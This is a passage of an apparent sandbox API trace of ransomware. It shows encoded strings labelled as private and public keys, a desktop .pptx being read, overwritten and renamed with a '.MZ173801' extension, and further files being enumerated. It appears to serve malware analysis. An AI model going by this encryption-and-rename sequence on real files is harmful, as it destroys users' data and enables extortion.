lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0175.737] GetCurrentThreadId () returned 0xab4 [0175.737] GetCurrentThreadId () returned 0xab4 [0175.737] GetCurrentThreadId () returned 0xab4 [0175.738] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0175.738] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0175.738] GetCurrentThreadId () returned 0xab4 [0175.739] GetCurrentThreadId () returned 0xab4 [0175.739] GetCurrentThreadId () returned 0xab4 [0175.739] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\8e3KCLHl2g3Xva.pptx" (normalized: "c:\\users\\fd1hvy\\desktop\\8e3kclhl2g3xva.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0175.739] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0175.739] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0175.739] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x16d21 [0175.739] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0175.739] ReadFile (in: hFile=0x320, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x16d21, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x16d21, lpOverlapped=0x0) returned 1 [0175.741] CloseHandle (hObject=0x320) returned 1 [0175.743] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\8e3KCLHl2g3Xva.pptx" (normalized: "c:\\users\\fd1hvy\\desktop\\8e3kclhl2g3xva.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0175.745] WriteFile (in: hFile=0x320, lpBuffer=0x24b8040*, nNumberOfBytesToWrite=0x16d21, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24b8040*, lpNumberOfBytesWritten=0x19fa24*=0x16d21, lpOverlapped=0x0) returned 1 [0175.748] CloseHandle (hObject=0x320) returned 1 [0175.748] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\8e3KCLHl2g3Xva.pptx" (normalized: "c:\\users\\fd1hvy\\desktop\\8e3kclhl2g3xva.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\8e3KCLHl2g3Xva.pptx.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\8e3kclhl2g3xva.pptx.mz173801")) returned 1 [0175.749] GetCurrentThreadId () returned 0xab4 [0175.749] GetCurrentThreadId () returned 0xab4 [0175.749] GetCurrentThreadId () returned 0xab4 [0175.749] GetCurrentThreadId () returned 0xab4 [0175.749] GetCurrentThreadId () returned 0xab4 [0175.749] GetCurrentThreadId () returned 0xab4 [0175.822] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1fdf60, ftCreationTime.dwHighDateTime=0x1d5efad, ftLastAccessTime.dwLowDateTime=0x75bf49b0, ftLastAccessTime.dwHighDateTime=0x1d5e4e2, ftLastWriteTime.dwLowDateTime=0x75bf49b0, ftLastWriteTime.dwHighDateTime=0x1d5e4e2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="9qqaMDM", cAlternateFileName="")) returned 1 [0175.822] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16dcded0, ftCreationTime.dwHighDateTime=0x1d5e591, ftLastAccessTime.dwLowDateTime=0xc8546fa0, ftLastAccessTime.dwHighDateTime=0x1d5e92b, ftLastWriteTime.dwLowDateTime=0xc8546fa0, ftLastWriteTime.dwHighDateTime=0x1d5e92b, nFileSizeHigh=0x0, nFileSizeLow=0x9429, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="9rQNK dYKtJL.mkv", cAlternateFileName="9RQNKD~1.MKV")) returned 1 [0175.822] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0175.822] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0175.822] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\9rQNK dYKtJL.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\9rqnk dyktjl.mkv"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16dcded0, ftCreationTime.dwHighDateTime=0x1d5e591, ftLastAccessTime.dwLowDateTime=0xc8546fa0, ftLastAccessTime.dwHighDateTime=0x1d5e92b, ftLastWriteTime.dwLowDateTime=0xc8546fa0, ftLastWriteTime.dwHighDateTime=0x1d5e92b, nFileSizeHigh=0x0, nFileSizeLow=0x9429)) returned 1 [0175.822] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9rQNK dYKtJL.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\9rqnk dyktjl.mkv")) returned 0x20 [0175.822] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9rQNK dYKtJL.mkv", dwFileAttributes=0x80) returned 1 [0175.825] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0175.825] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 